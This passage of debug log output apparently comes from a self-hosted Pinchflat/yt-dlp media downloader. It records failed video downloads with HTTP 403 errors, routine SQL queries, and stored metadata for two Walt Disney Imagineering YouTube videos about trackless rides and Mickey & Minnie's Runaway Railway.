Unable to download format 96-6. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-5. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-4. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-3. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-2. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-1. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-0. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n", ~U[2026-03-31 22:56:44Z], 13020] 18:56:44.411 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13020},"id":1733,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":14122125,"event":"job:exception","queue_time":288476,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:56:44.418 [info] {"args":{"id":12001},"id":1735,"meta":{},"system_time":1774997804418368572,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:56:44.418 [debug] QUERY OK source="media_items" db=0.1ms idle=12.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 18:56:44.419 [info] User scripts lifecyle file either not present or is empty. Skipping. 18:56:44.419 [debug] QUERY OK source="sources" db=0.1ms idle=13.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:44.419 [debug] QUERY OK source="media_profiles" db=0.1ms idle=8.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:44.420 [debug] QUERY OK source="media_items" db=0.2ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 18:56:44.420 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12001] 18:56:44.420 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:44.421 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:44.421 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:44.421 [debug] Running yt-dlp command for action: get_downloadable_status 18:56:44.422 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:44.422 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:44.422 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:44.422 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/53/94/539466fe8b73544afa3d1f500afeb072fe9813b5a39550d2b3d1ddada4c31588.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:56:45.329 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Disney's trackless rides might feel like they're taking you off the rails, but that's not the case! In this episode, Tom tracks down the answers to how trackless attractions work like Mickey & Minnie's Runaway Railway!\n\n✅ What you’ll learn:\n• Trackless Systems Unlock Advanced Storytelling\n• Trackless Ride Vehicles Use Hidden Navigation Markers\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → https://youtu.be/b7hgSAMfqe0\n🎥 How do Disney Imagineers make things look old and creepy? → https://youtu.be/wkC-B7PNMCI\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🎢 in the comments if you love trackless rides!", "duration" => 172, "filename" => "/downloads/Walt Disney Imagineering/2026-01-27 How does Walt Disney Imagineering control a ride that's trackless?/How does Walt Disney Imagineering control a ride that's trackless? [IZwvg7w1_Kw].mp4", "id" => "IZwvg7w1_Kw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=IZwvg7w1_Kw", "playlist_index" => 7, "timestamp" => 1769551608, "title" => "How does Walt Disney Imagineering control a ride that's trackless?", "upload_date" => "20260127"} 18:56:45.330 [debug] QUERY OK source="sources" db=0.2ms idle=908.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:56:45.330 [debug] QUERY OK source="sources" db=0.1ms idle=908.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:45.331 [debug] QUERY OK source="media_items" db=0.6ms idle=908.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-27 22:06:48Z], 2] 18:56:45.333 [debug] QUERY OK source="media_items" db=1.4ms idle=909.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Disney's trackless rides might feel like they're taking you off the rails, but that's not the case! In this episode, Tom tracks down the answers to how trackless attractions work like Mickey & Minnie's Runaway Railway!\n\n✅ What you’ll learn:\n• Trackless Systems Unlock Advanced Storytelling\n• Trackless Ride Vehicles Use Hidden Navigation Markers\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → https://youtu.be/b7hgSAMfqe0\n🎥 How do Disney Imagineers make things look old and creepy? → https://youtu.be/wkC-B7PNMCI\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🎢 in the comments if you love trackless rides!", "How does Walt Disney Imagineering control a ride that's trackless?", "50d2f448-deac-4a16-88d4-4c945cd5de97", "IZwvg7w1_Kw", "https://www.youtube.com/watch?v=IZwvg7w1_Kw", false, 172, false, 7, "/downloads/Walt Disney Imagineering/2026-01-27 How does Walt Disney Imagineering control a ride that's trackless?/How does Walt Disney Imagineering control a ride that's trackless? [IZwvg7w1_Kw].mp4", false, false, 2, [], 98, ~U[2026-01-27 22:06:48Z], ~U[2026-03-31 22:56:45Z], ~U[2026-03-31 22:56:45Z], "Disney's trackless rides might feel like they're taking you off the rails, but that's not the case! In this episode, Tom tracks down the answers to how trackless attractions work like Mickey & Minnie's Runaway Railway!\n\n✅ What you’ll learn:\n• Trackless Systems Unlock Advanced Storytelling\n• Trackless Ride Vehicles Use Hidden Navigation Markers\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → https://youtu.be/b7hgSAMfqe0\n🎥 How do Disney Imagineers make things look old and creepy? → https://youtu.be/wkC-B7PNMCI\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🎢 in the comments if you love trackless rides!", "How does Walt Disney Imagineering control a ride that's trackless?", "IZwvg7w1_Kw", "https://www.youtube.com/watch?v=IZwvg7w1_Kw", 172, false, "/downloads/Walt Disney Imagineering/2026-01-27 How does Walt Disney Imagineering control a ride that's trackless?/How does Walt Disney Imagineering control a ride that's trackless? [IZwvg7w1_Kw].mp4", false, 2, ~U[2026-01-27 22:06:48Z]] 18:56:45.333 [debug] QUERY OK source="sources" db=0.2ms idle=753.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:45.334 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:45.334 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7845] 18:56:45.334 [debug] Current batch of media processed. Will check again in 1000ms 18:56:46.335 [debug] Current batch of media processed. Will check again in 1000ms 18:56:47.336 [debug] Current batch of media processed. Will check again in 1000ms 18:56:48.337 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Step inside Mickey & Minnie’s Runaway Railway at Walt Disney World as we uncover the hidden secrets, Easter eggs, and behind‑the‑scenes stories shared directly by the Disney Imagineers who built the attraction.\n\n✨ *What makes this special?*\n• Imagineers reveal how Mickey & Minnie’s Runaway Railway uses groundbreaking techniques—including projection mapping, UV paint, and moving scenic elements\n• The attraction is filled with hidden details, from the most Hidden Mickeys in any Walt Disney World ride to a recurring Easter egg crab.\n• Behind‑the‑scenes engineering keeps the ride seamless for decades\n\n🎥 *Behind-the-Scenes with Imagineers*\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 *Explore More Episodes*\n👻 Haunted Mansion Secrets Revealed → https://youtu.be/endLo0NqGaw\n🚙 Test Track WED Rides with Disney Imagineers → https://youtu.be/D4O6q-i1zmE \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → https://youtu.be/PjLH47DPbeI\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → https://youtu.be/_R5CKZ5R91A\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → https://youtu.be/s5d1ahYVzSE\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → https://youtu.be/fNLeHJ7KL6s\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "duration" => 407, "filename" => "/downloads/Walt Disney Imagineering/2026-01-20 Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It/Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It [qq0aU6SBP_M].mp4", "id" => "qq0aU6SBP_M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=qq0aU6SBP_M", "playlist_index" => 8, "timestamp" => 1768946423, "title" => "Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It", "upload_date" => "20260120"} 18:56:48.338 [debug] QUERY OK source="sources" db=0.2ms idle=1932.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:56:48.338 [debug] QUERY OK source="sources" db=0.1ms idle=1933.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:48.339 [debug] QUERY OK source="media_items" db=0.5ms idle=1933.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-20 22:00:23Z], 2] 18:56:48.341 [debug] QUERY OK source="media_items" db=1.5ms idle=1755.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Step inside Mickey & Minnie’s Runaway Railway at Walt Disney World as we uncover the hidden secrets, Easter eggs, and behind‑the‑scenes stories shared directly by the Disney Imagineers who built the attraction.\n\n✨ *What makes this special?*\n• Imagineers reveal how Mickey & Minnie’s Runaway Railway uses groundbreaking techniques—including projection mapping, UV paint, and moving scenic elements\n• The attraction is filled with hidden details, from the most Hidden Mickeys in any Walt Disney World ride to a recurring Easter egg crab.\n• Behind‑the‑scenes engineering keeps the ride seamless for decades\n\n🎥 *Behind-the-Scenes with Imagineers*\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 *Explore More Episodes*\n👻 Haunted Mansion Secrets Revealed → https://youtu.be/endLo0NqGaw\n🚙 Test Track WED Rides with Disney Imagineers → https://youtu.be/D4O6q-i1zmE \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → https://youtu.be/PjLH47DPbeI\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → https://youtu.be/_R5CKZ5R91A\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → https://youtu.be/s5d1ahYVzSE\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → https://youtu.be/fNLeHJ7KL6s\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It", "1d4586dd-7cab-4f31-be02-09a253b87a43", "qq0aU6SBP_M", "https://www.youtube.com/watch?v=qq0aU6SBP_M", false, 407, false, 8, "/downloads/Walt Disney Imagineering/2026-01-20 Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It/Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It [qq0aU6SBP_M].mp4", false, false, 2, [], 98, ~U[2026-01-20 22:00:23Z], ~U[2026-03-31 22:56:48Z], ~U[2026-03-31 22:56:48Z], "Step inside Mickey & Minnie’s Runaway Railway at Walt Disney World as we uncover the hidden secrets, Easter eggs, and behind‑the‑scenes stories shared directly by the Disney Imagineers who built the attraction.\n\n✨ *What makes this special?*\n• Imagineers reveal how Mickey & Minnie’s Runaway Railway uses groundbreaking techniques—including projection mapping, UV paint, and moving scenic elements\n• The attraction is filled with hidden details, from the most Hidden Mickeys in any Walt Disney World ride to a recurring Easter egg crab.\n• Behind‑the‑scenes engineering keeps the ride seamless for decades\n\n🎥 *Behind-the-Scenes with Imagineers*\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 *Explore More Episodes*\n👻 Haunted Mansion Secrets Revealed → https://youtu.be/endLo0NqGaw\n🚙 Test Track WED Rides with Disney Imagineers → https://youtu.be/D4O6q-i1zmE \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → https://youtu.be/PjLH47DPbeI\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → https://youtu.be/_R5CKZ5R91A\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → https://youtu.be/s5d1ahYVzSE\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → https://youtu.be/fNLeHJ7KL6s\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → 